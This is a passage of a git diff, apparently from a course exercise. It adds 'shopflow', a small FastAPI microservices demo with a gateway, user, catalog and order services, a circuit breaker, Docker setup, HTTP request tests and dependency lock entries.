"sha256:4864f5bbb7993845baf9209bae1669a8a76769296a018cb569ebda9dcb4241f5", size = 2026791, upload-time = "2026-04-13T09:04:37.724Z" }, + { url = "https://files.pythonhosted.org/packages/74/0c/106ed5cc50393d90523f09adcc50d05e42e748eb107dc06aea971137f02d/pydantic_core-2.46.0-graalpy312-graalpy250_312_native-macosx_10_12_x86_64.whl", hash = "sha256:bc0e2fefe384152d7da85b5c2fe8ce2bf24752f68a58e3f3ea42e28a29dfdeb2", size = 2104968, upload-time = "2026-04-13T09:06:26.967Z" }, + { url = "https://files.pythonhosted.org/packages/f5/71/b494cef3165e3413ee9bbbb5a9eedc9af0ea7b88d8638beef6c2061b110e/pydantic_core-2.46.0-graalpy312-graalpy250_312_native-macosx_11_0_arm64.whl", hash = "sha256:a2ab0e785548be1b4362a62c4004f9217598b7ee465f1f420fc2123e2a5b5b02", size = 1940442, upload-time = "2026-04-13T09:06:29.332Z" }, + { url = "https://files.pythonhosted.org/packages/7e/3e/a4d578c8216c443e26a1124f8c1e07c0654264ce5651143d3883d85ff140/pydantic_core-2.46.0-graalpy312-graalpy250_312_native-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:16d45aecb18b8cba1c68eeb17c2bb2d38627ceed04c5b30b882fc9134e01f187", size = 1999672, upload-time = "2026-04-13T09:04:42.798Z" }, + { url = "https://files.pythonhosted.org/packages/cd/c1/9114560468685525a21770138382fd0cb849aaf351ff2c7b97f760d121e0/pydantic_core-2.46.0-graalpy312-graalpy250_312_native-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:5078f6c377b002428e984259ac327ef8902aacae6c14b7de740dd4869a491501", size = 2154533, upload-time = "2026-04-13T09:04:50.868Z" }, +] + +[[package]] +name = "python-dotenv" +version = "1.2.2" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/82/ed/0301aeeac3e5353ef3d94b6ec08bbcabd04a72018415dcb29e588514bba8/python_dotenv-1.2.2.tar.gz", hash = "sha256:2c371a91fbd7ba082c2c1dc1f8bf89ca22564a087c2c287cd9b662adde799cf3", size = 50135, upload-time = "2026-03-01T16:00:26.196Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/0b/d7/1959b9648791274998a9c3526f6d0ec8fd2233e4d4acce81bbae76b44b2a/python_dotenv-1.2.2-py3-none-any.whl", hash = "sha256:1d8214789a24de455a8b8bd8ae6fe3c6b69a5e3d64aa8a8e5d68e694bbcb285a", size = 22101, upload-time = "2026-03-01T16:00:25.09Z" }, +] + +[[package]] +name = "python-multipart" +version = "0.0.26" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/88/71/b145a380824a960ebd60e1014256dbb7d2253f2316ff2d73dfd8928ec2c3/python_multipart-0.0.26.tar.gz", hash = "sha256:08fadc45918cd615e26846437f50c5d6d23304da32c341f289a617127b081f17", size = 43501, upload-time = "2026-04-10T14:09:59.473Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/9a/22/f1925cdda983ab66fc8ec6ec8014b959262747e58bdca26a4e3d1da29d56/python_multipart-0.0.26-py3-none-any.whl", hash = "sha256:c0b169f8c4484c13b0dcf2ef0ec3a4adb255c4b7d18d8e420477d2b1dd03f185", size = 28847, upload-time = "2026-04-10T14:09:58.131Z" }, +] + +[[package]] +name = "secuvault" +version = "0.1.0" +source = { virtual = "." } +dependencies = [ + { name = "bcrypt" }, + { name = "cryptography" }, + { name = "fastapi" }, + { name = "itsdangerous" }, + { name = "jinja2" }, + { name = "python-dotenv" }, + { name = "python-multipart" }, + { name = "uvicorn" }, +] + +[package.metadata] +requires-dist = [ + { name = "bcrypt", specifier = ">=5.0.0" }, + { name = "cryptography", specifier = ">=46.0.7" }, + { name = "fastapi", specifier = ">=0.135.3" }, + { name = "itsdangerous", specifier = ">=2.2.0" }, + { name = "jinja2", specifier = ">=3.1.6" }, + { name = "python-dotenv", specifier = ">=1.0.0" }, + { name = "python-multipart", specifier = ">=0.0.26" }, + { name = "uvicorn", specifier = ">=0.44.0" }, +] + +[[package]] +name = "starlette" +version = "1.0.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "anyio" }, + { name = "typing-extensions", marker = "python_full_version < '3.13'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/81/69/17425771797c36cded50b7fe44e850315d039f28b15901ab44839e70b593/starlette-1.0.0.tar.gz", hash = "sha256:6a4beaf1f81bb472fd19ea9b918b50dc3a77a6f2e190a12954b25e6ed5eea149", size = 2655289, upload-time = "2026-03-22T18:29:46.779Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/0b/c9/584bc9651441b4ba60cc4d557d8a547b5aff901af35bda3a4ee30c819b82/starlette-1.0.0-py3-none-any.whl", hash = "sha256:d3ec55e0bb321692d275455ddfd3df75fff145d009685eb40dc91fc66b03d38b", size = 72651, upload-time = "2026-03-22T18:29:45.111Z" }, +] + +[[package]] +name = "typing-extensions" +version = "4.15.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/72/94/1a15dd82efb362ac84269196e94cf00f187f7ed21c242792a923cdb1c61f/typing_extensions-4.15.0.tar.gz", hash = "sha256:0cea48d173cc12fa28ecabc3b837ea3cf6f38c6d1136f85cbaaf598984861466", size = 109391, upload-time = "2025-08-25T13:49:26.313Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/18/67/36e9267722cc04a6b9f15c7f3441c2363321a3ea07da7ae0c0707beb2a9c/typing_extensions-4.15.0-py3-none-any.whl", hash = "sha256:f0fa19c6845758ab08074a0cfa8b7aecb71c999ca73d62883bc25cc018c4e548", size = 44614, upload-time = "2025-08-25T13:49:24.86Z" }, +] + +[[package]] +name = "typing-inspection" +version = "0.4.2" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "typing-extensions" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/55/e3/70399cb7dd41c10ac53367ae42139cf4b1ca5f36bb3dc6c9d33acdb43655/typing_inspection-0.4.2.tar.gz", hash = "sha256:ba561c48a67c5958007083d386c3295464928b01faa735ab8547c5692e87f464", size = 75949, upload-time = "2025-10-01T02:14:41.687Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/dc/9b/47798a6c91d8bdb567fe2698fe81e0c6b7cb7ef4d13da4114b41d239f65d/typing_inspection-0.4.2-py3-none-any.whl", hash = "sha256:4ed1cacbdc298c220f1bd249ed5287caa16f34d44ef4e9c3d0cbad5b521545e7", size = 14611, upload-time = "2025-10-01T02:14:40.154Z" }, +] + +[[package]] +name = "uvicorn" +version = "0.44.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "click" }, + { name = "h11" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/5e/da/6eee1ff8b6cbeed47eeb5229749168e81eb4b7b999a1a15a7176e51410c9/uvicorn-0.44.0.tar.gz", hash = "sha256:6c942071b68f07e178264b9152f1f16dfac5da85880c4ce06366a96d70d4f31e", size = 86947, upload-time = "2026-04-06T09:23:22.826Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/b7/23/a5bbd9600dd607411fa644c06ff4951bec3a4d82c4b852374024359c19c0/uvicorn-0.44.0-py3-none-any.whl", hash = "sha256:ce937c99a2cc70279556967274414c087888e8cec9f9c94644dfca11bd3ced89", size = 69425, upload-time = "2026-04-06T09:23:21.524Z" }, +] diff --git a/Semaine_08/shopflow/.python-version b/Semaine_08/shopflow/.python-version new file mode 100644 index 0000000..e4fba21 --- /dev/null +++ b/Semaine_08/shopflow/.python-version @@ -0,0 +1 @@ +3.12 diff --git a/Semaine_08/shopflow/README.md b/Semaine_08/shopflow/README.md new file mode 100644 index 0000000..e69de29 diff --git a/Semaine_08/shopflow/api-gateway/Dockerfile b/Semaine_08/shopflow/api-gateway/Dockerfile new file mode 100644 index 0000000..e0ef785 --- /dev/null +++ b/Semaine_08/shopflow/api-gateway/Dockerfile @@ -0,0 +1,9 @@ +FROM python:3.12-slim + +WORKDIR /app + +RUN pip install fastapi uvicorn httpx + +COPY main.py . + +CMD ["uvicorn", "main:app", "--host", "0.0.0.0", "--port", "8000"] \ No newline at end of file diff --git a/Semaine_08/shopflow/api-gateway/main.py b/Semaine_08/shopflow/api-gateway/main.py new file mode 100644 index 0000000..16d5d1f --- /dev/null +++ b/Semaine_08/shopflow/api-gateway/main.py @@ -0,0 +1,66 @@ +import httpx +from fastapi import FastAPI, Request, Response + +app = FastAPI() + +SERVICES = { + "users": "http://user-service:8000", + "products": "http://catalog-service:8000", + "orders": "http://order-service:8000", + "notifications": "http://notif-service:8000", +} + +TIMEOUT = 5.0 + +@app.get("/health") +def health(): + return {"status": "ok", "service": "api-gateway"} + +@app.api_route("/{full_path:path}", methods=["GET", "POST", "PUT", "DELETE", "PATCH"]) +async def gateway(full_path: str, request: Request): + # Extraire le nom du service depuis le début du chemin + # ex: "users/1" → service="users", "orders" → service="orders" + parts = full_path.split("/", 1) + service_key = parts[0] + + base_url = SERVICES.get(service_key) + if not base_url: + return Response( + content=f'{{"detail": "Service \'{service_key}\' inconnu"}}', + status_code=404, + media_type="application/json", + ) + + target_url = f"{base_url}/{full_path}" + if request.url.query: + target_url += f"?{request.url.query}" + + body = await request.body() + + async with httpx.AsyncClient() as client: + try: + response = await client.request( + method=request.method, + url=target_url, + content=body, + headers={"Content-Type": request.headers.get("Content-Type", "application/json")}, + timeout=TIMEOUT, + ) + except httpx.TimeoutException: + return Response( + content='{"detail": "Service timeout"}', + status_code=504, + media_type="application/json", + ) + except Exception as e: + return Response( + content=f'{{"detail": "Gateway error: {str(e)}"}}', + status_code=502, + media_type="application/json", + ) + + return Response( + content=response.content, + status_code=response.status_code, + media_type=response.headers.get("content-type"), + ) \ No newline at end of file diff --git a/Semaine_08/shopflow/catalog-service/Dockerfile b/Semaine_08/shopflow/catalog-service/Dockerfile new file mode 100644 index 0000000..e0ef785 --- /dev/null +++ b/Semaine_08/shopflow/catalog-service/Dockerfile @@ -0,0 +1,9 @@ +FROM python:3.12-slim + +WORKDIR /app + +RUN pip install fastapi uvicorn httpx + +COPY main.py . + +CMD ["uvicorn", "main:app", "--host", "0.0.0.0", "--port", "8000"] \ No newline at end of file diff --git a/Semaine_08/shopflow/catalog-service/main.py b/Semaine_08/shopflow/catalog-service/main.py new file mode 100644 index 0000000..8c9058c --- /dev/null +++ b/Semaine_08/shopflow/catalog-service/main.py @@ -0,0 +1,34 @@ +from fastapi import FastAPI, HTTPException +from pydantic import BaseModel + +app = FastAPI() + +products_db: dict = { + 1: {"id": 1, "name": "Laptop", "price": 999.99, "stock": 10}, + 2: {"id": 2, "name": "Smartphone", "price": 499.99, "stock": 20}, + 3: {"id": 3, "name": "Headphones", "price": 199.99, "stock": 15}, +} + +class UpdateStockDTO(BaseModel): + quantity: int + +@app.get("/products/{product_id}") +async def get_product(product_id: int): + product = products_db.get(product_id) + if not product: + raise HTTPException(status_code=404, detail="Product not found") + return product + +@app.put("/products/{product_id}/stock") +async def update_stock(product_id: int, payload: UpdateStockDTO): + product = products_db.get(product_id) + if not product: + raise HTTPException(status_code=404, detail="Product not found") + if product["stock"] < payload.quantity: + raise HTTPException(status_code=400, detail="Insufficient stock") + product["stock"] -= payload.quantity + return product + +@app.get("/health") +def health(): + return {"status": "ok", "service": "catalog-service"} \ No newline at end of file diff --git a/Semaine_08/shopflow/docker-compose.yml b/Semaine_08/shopflow/docker-compose.yml new file mode 100644 index 0000000..f07a844 --- /dev/null +++ b/Semaine_08/shopflow/docker-compose.yml @@ -0,0 +1,27 @@ +services: + + api-gateway: + build: ./api-gateway + ports: + - "8000:8000" + networks: + - shopflow-network + + user-service: + build: ./user-service + networks: + - shopflow-network + + catalog-service: + build: ./catalog-service + networks: + - shopflow-network + + order-service: + build: ./order-service + networks: + - shopflow-network + +networks: + shopflow-network: + driver: bridge \ No newline at end of file diff --git a/Semaine_08/shopflow/main.py b/Semaine_08/shopflow/main.py new file mode 100644 index 0000000..63faa7b --- /dev/null +++ b/Semaine_08/shopflow/main.py @@ -0,0 +1,6 @@ +def main(): + print("Hello from shopflow!") + + +if __name__ == "__main__": + main() diff --git a/Semaine_08/shopflow/order-service/.dockerignore b/Semaine_08/shopflow/order-service/.dockerignore new file mode 100644 index 0000000..b2f97bf --- /dev/null +++ b/Semaine_08/shopflow/order-service/.dockerignore @@ -0,0 +1,3 @@ +Dockerfile +__pycache__ +*.pyc \ No newline at end of file diff --git a/Semaine_08/shopflow/order-service/Dockerfile b/Semaine_08/shopflow/order-service/Dockerfile new file mode 100644 index 0000000..5bfa4a4 --- /dev/null +++ b/Semaine_08/shopflow/order-service/Dockerfile @@ -0,0 +1,9 @@ +FROM python:3.12-slim + +WORKDIR /app + +RUN pip install fastapi uvicorn httpx + +COPY . . + +CMD ["uvicorn", "main:app", "--host", "0.0.0.0", "--port", "8000"] \ No newline at end of file diff --git a/Semaine_08/shopflow/order-service/circuit_breaker.py b/Semaine_08/shopflow/order-service/circuit_breaker.py new file mode 100644 index 0000000..0b3b99e --- /dev/null +++ b/Semaine_08/shopflow/order-service/circuit_breaker.py @@ -0,0 +1,34 @@ +import time + +class CircuitBreaker: + def __init__(self, failure_threshold: int = 3, recovery_timeout: int = 10) -> None: + self.failure_threshold = failure_threshold + self.recovery_timeout = recovery_timeout + self.failure_count = 0 + self.last_failure_time = None + self.state = "CLOSED" # OPEN, CLOSED, HALF-OPEN + + def call(self, function, *args, **kwargs): + if self.state == "OPEN" and self.last_failure_time is not None: + if time.time() - self.last_failure_time >= self.recovery_timeout: + self.state = "HALF-OPEN" + else: + raise Exception("Circuit is open") + + try: + result = function(*args, **kwargs) + self.on_success() + return result + except Exception as error: + self.on_failure() + raise error + + def on_success(self): + self.failure_count = 0 + self.state = "CLOSED" + + def on_failure(self): + self.failure_count += 1 + self.last_failure_time = time.time() + if self.failure_count >= self.failure_threshold: + self.state = "OPEN" diff --git a/Semaine_08/shopflow/order-service/main.py b/Semaine_08/shopflow/order-service/main.py new file mode 100644 index 0000000..99dc183 --- /dev/null +++ b/Semaine_08/shopflow/order-service/main.py @@ -0,0 +1,89 @@ +import httpx +from fastapi import FastAPI, HTTPException +from pydantic import BaseModel + +from circuit_breaker import CircuitBreaker + +app = FastAPI() + +USER_SERVICE_URL = "http://user-service:8000" +CATALOG_SERVICE_URL = "http://catalog-service:8000" + +orders_db = {} +next_id = 1 + +catalog_cb = CircuitBreaker(failure_threshold=3, recovery_timeout=10) + +class CreateOrderDTO(BaseModel): + user_id: int + product_id: int + quantity: int + +TIMEOUT = 5.0 + +def get_product(product_id: int): + return catalog_cb.call( + httpx.get, + f"{CATALOG_SERVICE_URL}/products/{product_id}", + timeout=TIMEOUT + ) + +@app.post("/orders", status_code=201) +async def create_order(payload: CreateOrderDTO): + global next_id + + user_response = httpx.get(f"{USER_SERVICE_URL}/users/{payload.user_id}") + try: + user_response = httpx.get(f"{USER_SERVICE_URL}/users/{payload.user_id}", timeout=TIMEOUT) + except httpx.TimeoutException: + raise HTTPException(status_code=503, detail="User service unavailable") + if user_response.status_code == 404: + raise HTTPException(status_code=404, detail="User not found") + + user = user_response.json() + + try: + product_response = get_product(payload.product_id) + except httpx.TimeoutException: + raise HTTPException(status_code=503, detail="Catalog service unavailable") + if product_response.status_code == 404: + raise HTTPException(status_code=404, detail="Product not found") + + product = product_response.json() + + try: + update_response = httpx.put(f"{CATALOG_SERVICE_URL}/products/{payload.product_id}/stock", json= {"quantity": payload.quantity}, timeout=TIMEOUT) + except httpx.TimeoutException: + raise HTTPException(status_code=503, detail="Catalog service unavailable") + if update_response.status_code == 400: + raise HTTPException(status_code= 400, detail= "Stock Insuffisant") + if update_response.status_code != 200: + raise HTTPException(status_code= 502, detail= "Erreur catalog-service") + + order_id = next_id + next_id += 1 + + new_order = { + "id": order_id, + "user_id": user["id"], + "user_name": user["name"], + "product_id": product["id"], + "product_name": product["name"], + "unit_price": product["price"], + "quantity": payload.quantity, + "total_price": product["price"] * payload.quantity + } + + orders_db[order_id] = new_order + return new_order + +@app.get("/orders/{order_id}") +async def get_order(order_id: int): + order = orders_db.get(order_id) + if not order: + raise HTTPException(status_code=404, detail="Order not found") + return order + +@app.get("/health") +def health(): + return {"status": "ok", "service": "order-service"} \ No newline at end of file diff --git a/Semaine_08/shopflow/pyproject.toml b/Semaine_08/shopflow/pyproject.toml new file mode 100644 index 0000000..baa60f9 --- /dev/null +++ b/Semaine_08/shopflow/pyproject.toml @@ -0,0 +1,11 @@ +[project] +name = "shopflow" +version = "0.1.0" +description = "Add your description here" +readme = "README.md" +requires-python = ">=3.12" +dependencies = [ + "fastapi>=0.135.3", + "httpx>=0.28.1", + "uvicorn>=0.44.0", +] diff --git a/Semaine_08/shopflow/requests.http b/Semaine_08/shopflow/requests.http new file mode 100644 index 0000000..3aded19 --- /dev/null +++ b/Semaine_08/shopflow/requests.http @@ -0,0 +1,149 @@ +# ============================================================ +# USERS +# ⚠ Les IDs sont en mémoire vive : ils repartent à 1 après +# chaque redémarrage des conteneurs. Exécuter dans l'ordre +# depuis un démarrage propre (docker compose up). +# ============================================================ + +### 1. Créer l'utilisateur Alice → reçoit id=1 +# @name createAlice +POST http://localhost:8000/users +Content-Type: application/json + +{"name": "Alice", "email": "alice@example.com"} + +### + +### 2. Créer l'utilisateur Bob → reçoit id=2 +# @name createBob +POST http://localhost:8000/users +Content-Type: application/json + +{"name": "Bob", "email": "bob@example.com"} + +### + +### 3. Récupérer Alice (id=1) +GET http://localhost:8000/users/1 + +### + +### 4. Récupérer Bob (id=2) +GET http://localhost:8000/users/2 + +### + +### Récupérer un utilisateur inexistant → 404 +GET http://localhost:8000/users/99 + +### + +# ============================================================ +# PRODUCTS +# ============================================================ + +### Consulter le Laptop (id=1, stock initial=10) +GET http://localhost:8000/products/1 + +### + +### Consulter le Smartphone (id=2, stock initial=20) +GET http://localhost:8000/products/2 + +### + +### Consulter les Headphones (id=3, stock initial=15) +GET http://localhost:8000/products/3 + +### + +### Soustraire 3 Laptops du stock +PUT http://localhost:8000/products/1/stock +Content-Type: application/json + +{"quantity": 3} + +### + +### Vérifier le stock du Laptop après soustraction (attendu: 7) +GET http://localhost:8000/products/1 + +### + +### Soustraire plus que le stock disponible → 400 Insufficient stock +PUT http://localhost:8000/products/1/stock +Content-Type: application/json + +{"quantity": 999} + +### + +### Consulter un produit inexistant → 404 +GET http://localhost:8000/products/99 + +### + +# ============================================================ +# ORDERS +# ============================================================ + +### Créer une commande: Alice achète 2 Smartphones +POST http://localhost:8000/orders +Content-Type: application/json + +{"user_id": 1, "product_id": 2, "quantity": 2} + +### + +### Vérifier le stock du Smartphone après commande (attendu: 18) +GET http://localhost:8000/products/2 + +### + +### Récupérer la commande (id=1) +GET http://localhost:8000/orders/1 + +### + +### Créer une commande: Bob achète 1 Laptop +POST http://localhost:8000/orders +Content-Type: application/json + +{"user_id": 2, "product_id": 1, "quantity": 1} + +### + +### Récupérer la commande de Bob (id=2) +GET http://localhost:8000/orders/2 + +### + +### Commande avec utilisateur inexistant → 404 +POST http://localhost:8000/orders +Content-Type: application/json + +{"user_id": 99, "product_id": 1, "quantity": 1} + +### + +### Commande avec produit inexistant → 404 +POST http://localhost:8000/orders +Content-Type: application/json + +{"user_id": 1, "product_id": 99, "quantity": 1} + +### + +### Récupérer une commande inexistante → 404 +GET http://localhost:8000/orders/99 + +### + +# ============================================================ +# HEALTH CHECKS +# ============================================================ + +### Health check api-gateway +GET http://localhost:8000/health + +### \ No newline at end of file diff --git a/Semaine_08/shopflow/test.py b/Semaine_08/shopflow/test.py new file mode 100644 index 0000000..63d43e2 --- /dev/null +++ b/Semaine_08/shopflow/test.py @@ -0,0 +1,21 @@ +product = { + "id": 42, + "name": "Test Product", + "price": 9.99, + "stock": 100, + "category": "Test Category" +} + +order_item = { + "product_id": 42, + "product_name": "Test Product", + "unit_price": 9.99, + "quantity": 2 +} + +""" +GET user-service OK +GET catalog-service OK stock= 5 +PUT catalog-service #décrémente le stock + +""" \ No newline at end of file diff --git a/Semaine_08/shopflow/user-service/Dockerfile b/Semaine_08/shopflow/user-service/Dockerfile new file mode 100644 index 0000000..e0ef785 --- /dev/null +++ b/Semaine_08/shopflow/user-service/Dockerfile @@ -0,0 +1,9 @@ +FROM python:3.12-slim + +WORKDIR /app + +RUN pip install fastapi uvicorn httpx + +COPY main.py . + +CMD ["uvicorn", "main:app", "--host", "0.0.0.0", "--port", "8000"] \ No newline at end of file diff --git a/Semaine_08/shopflow/user-service/main.py b/Semaine_08/shopflow/user-service/main.py new file mode 100644 index 0000000..1de17f4 --- /dev/null +++ b/Semaine_08/shopflow/user-service/main.py @@ -0,0 +1,35 @@ +from fastapi import FastAPI, HTTPException +from pydantic import BaseModel + +app = FastAPI() + +users_db = {} +next_id = 1 + +# DTO : Data Transfer Object +class CreateUserDTO(BaseModel): + name: str + email: str + +@app.post("/users") +async def create_user(json: CreateUserDTO): + global next_id + user_id = next_id + next_id += 1 + users_db[user_id] = { + "id": user_id, + "name": json.name, + "email": json.email + } + return users_db[user_id] + +@app.get("/users/{user_id}") +async def get_user(user_id: int): + user = users_db.get(user_id) + if not user: + raise HTTPException(status_code=404, detail="User not found") + return user + +@app.get("/health") +def health(): + return {"status": "ok", "service": "user-service"} \ No newline at end of file diff --git a/Semaine_08/shopflow/uv.lock b/Semaine_08/shopflow/uv.lock new file mode 100644 index 0000000..81d1381 --- /dev/null +++ b/Semaine_08/shopflow/uv.lock @@ -0,0 +1,280 @@ +version = 1 +revision = 3 +requires-python = ">=3.12" + +[[package]] +name = "annotated-doc" +version = "0.0.4" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/57/ba/046ceea27344560984e26a590f90bc7f4a75b06701f653222458922b558c/annotated_doc-0.0.4.tar.gz", hash = "sha256:fbcda96e87e9c92ad167c2e53839e57503ecfda18804ea28102353485033faa4", size = 7288, upload-time = "2025-11-10T22:07:42.062Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/1e/d3/26bf1008eb3d2daa8ef4cacc7f3bfdc11818d111f7e2d0201bc6e3b49d45/annotated_doc-0.0.4-py3-none-any.whl", hash = "sha256:571ac1dc6991c450b25a9c2d84a3705e2ae7a53467b5d111c24fa8baabbed320", size = 5303, upload-time = "2025-11-10T22:07:40.673Z" }, +] + +[[package]] +name = "annotated-types" +version = "0.7.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/ee/67/531ea369ba64dcff5ec9c3402f9f51bf748cec26dde048a2f973a4eea7f5/annotated_types-0.7.0.tar.gz", hash = "sha256:aff07c09a53a08bc8cfccb9c85b05f1aa9a2a6f23728d790723543408344ce89", size = 16081, upload-time = "2024-05-20T21:33:25.928Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/78/b6/6307fbef88d9b5ee7421e68d78a9f162e0da4900bc5f5793f6d3d0e34fb8/annotated_types-0.7.0-py3-none-any.whl", hash = "sha256:1f02e8b43a8fbbc3f3e0d4f0f4bfc8131bcb4eebe8849b8e5c773f3a1c582a53", size = 13643, upload-time = "2024-05-20T21:33:24.1Z" }, +] + +[[package]] +name = "anyio" +version = "4.13.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "idna" }, + { name = "typing-extensions", marker = "python_full_version < '3.13'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/19/14/2c5dd9f512b66549ae92767a9c7b330ae88e1932ca57876909410251fe13/anyio-4.13.0.tar.gz", hash = "sha256:334b70e641fd2221c1505b3890c69882fe4a2df910cba14d97019b90b24439dc", size = 231622, upload-time = "2026-03-24T12:59:09.671Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/da/42/e921fccf5015463e32a3cf6ee7f980a6ed0f395ceeaa45060b61d86486c2/anyio-4.13.0-py3-none-any.whl", hash = "sha256:08b310f9e24a9594186fd75b4f73f4a4152069e3853f1ed8bfbf58369f4ad708", size = 114353, upload-time = "2026-03-24T12:59:08.246Z" }, +] + +[[package]] +name = "certifi" +version = "2026.2.25" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/af/2d/7bf41579a8986e348fa033a31cdd0e4121114f6bce2457e8876010b092dd/certifi-2026.2.25.tar.gz", hash = "sha256:e887ab5cee78ea814d3472169153c2d12cd43b14bd03329a39a9c6e2e80bfba7", size = 155029, upload-time = "2026-02-25T02:54:17.342Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/9a/3c/c17fb3ca2d9c3acff52e30b309f538586f9f5b9c9cf454f3845fc9af4881/certifi-2026.2.25-py3-none-any.whl", hash = "sha256:027692e4402ad994f1c42e52a4997a9763c646b73e4096e4d5d6db8af1d6f0fa", size = 153684, upload-time = "2026-02-25T02:54:15.766Z" }, +] + +[[package]] +name = "click" +version = "8.3.2" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "colorama", marker = "sys_platform == 'win32'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/57/75/31212c6bf2503fdf920d87fee5d7a86a2e3bcf444984126f13d8e4016804/click-8.3.2.tar.gz", hash = "sha256:14162b8b3b3550a7d479eafa77dfd3c38d9dc8951f6f69c78913a8f9a7540fd5", size = 302856, upload-time = "2026-04-03T19:14:45.118Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/e4/20/71885d8b97d4f3dde17b1fdb92dbd4908b00541c5a3379787137285f602e/click-8.3.2-py3-none-any.whl", hash = "sha256:1924d2c27c5653561cd2cae4548d1406039cb79b858b747cfea24924bbc1616d", size = 108379, upload-time = "2026-04-03T19:14:43.505Z" }, +] + +[[package]] +name = "colorama" +version = "0.4.6" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/d8/53/6f443c9a4a8358a93a6792e2acffb9d9d5cb0a5cfd8802644b7b1c9a02e4/colorama-0.4.6.tar.gz", hash = "sha256:08695f5cb7ed6e0531a20572697297273c47b8cae5a63ffc6d6ed5c201be6e44", size = 27697, upload-time = "2022-10-25T02:36:22.414Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/d1/d6/3965ed04c63042e047cb6a3e6ed1a63a35087b6a609aa3a15ed8ac56c221/colorama-0.4.6-py2.py3-none-any.whl", hash = "sha256:4f1d9991f5acc0ca119f9d443620b77f9d6b33703e51011c16baf57afb285fc6", size = 25335, upload-time = "2022-10-25T02:36:20.889Z" }, +] + +[[package]] +name = "fastapi" +version = "0.135.3" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "annotated-doc" }, + { name = "pydantic" }, + { name = "starlette" }, + { name = "typing-extensions" }, + { name = "typing-inspection" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/f7/e6/7adb4c5fa231e82c35b8f5741a9f2d055f520c29af5546fd70d3e8e1cd2e/fastapi-0.135.3.tar.gz", hash = "sha256:bd6d7caf1a2bdd8d676843cdcd2287729572a1ef524fc4d65c17ae002a1be654", size = 396524, upload-time = "2026-04-01T16:23:58.188Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/84/a4/5caa2de7f917a04ada20018eccf60d6cc6145b0199d55ca3711b0fc08312/fastapi-0.135.3-py3-none-any.whl", hash = "sha256:9b0f590c813acd13d0ab43dd8494138eb58e484bfac405db1f3187cfc5810d98", size = 117734, upload-time = "2026-04-01T16:23:59.328Z" }, +] + +[[package]] +name = "h11" +version = "0.16.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/01/ee/02a2c011bdab74c6fb3c75474d40b3052059d95df7e73351460c8588d963/h11-0.16.0.tar.gz", hash = "sha256:4e35b956cf45792e4caa5885e69fba00bdbc6ffafbfa020300e549b208ee5ff1", size = 101250, upload-time = "2025-04-24T03:35:25.427Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/04/4b/29cac41a4d98d144bf5f6d33995617b185d14b22401f75ca86f384e87ff1/h11-0.16.0-py3-none-any.whl", hash = "sha256:63cf8bbe7522de3bf65932fda1d9c2772064ffb3dae62d55932da54b31cb6c86", size = 37515, upload-time = "2025-04-24T03:35:24.344Z" }, +] + +[[package]] +name = "httpcore" +version = "1.0.9" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "certifi" }, + { name = "h11" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/06/94/82699a10bca87a5556c9c59b5963f2d039dbd239f25bc2a63907a05a14cb/httpcore-1.0.9.tar.gz", hash = "sha256:6e34463af53fd2ab5d807f399a9b45ea31c3dfa2276f15a2c3f00afff6e176e8", size = 85484, upload-time = "2025-04-24T22:06:22.219Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/7e/f5/f66802a942d491edb555dd61e3a9961140fd64c90bce1eafd741609d334d/httpcore-1.0.9-py3-none-any.whl", hash = "sha256:2d400746a40668fc9dec9810239072b40b4484b640a8c38fd654a024c7a1bf55", size = 78784, upload-time = "2025-04-24T22:06:20.566Z" }, +] + +[[package]] +name = "httpx" +version = "0.28.1" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "anyio" }, + { name = "certifi" }, + { name = "httpcore" }, + { name = "idna" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/b1/df/48c586a5fe32a0f01324ee087459e112ebb7224f646c0b5023f5e79e9956/httpx-0.28.1.tar.gz", hash = "sha256:75e98c5f16b0f35b567856f597f06ff2270a374470a5c2392242528e3e3e42fc", size = 141406, upload-time = "2024-12-06T15:37:23.222Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/2a/39/e50c7c3a983047577ee07d2a9e53faf5a69493943ec3f6a384bdc792deb2/httpx-0.28.1-py3-none-any.whl", 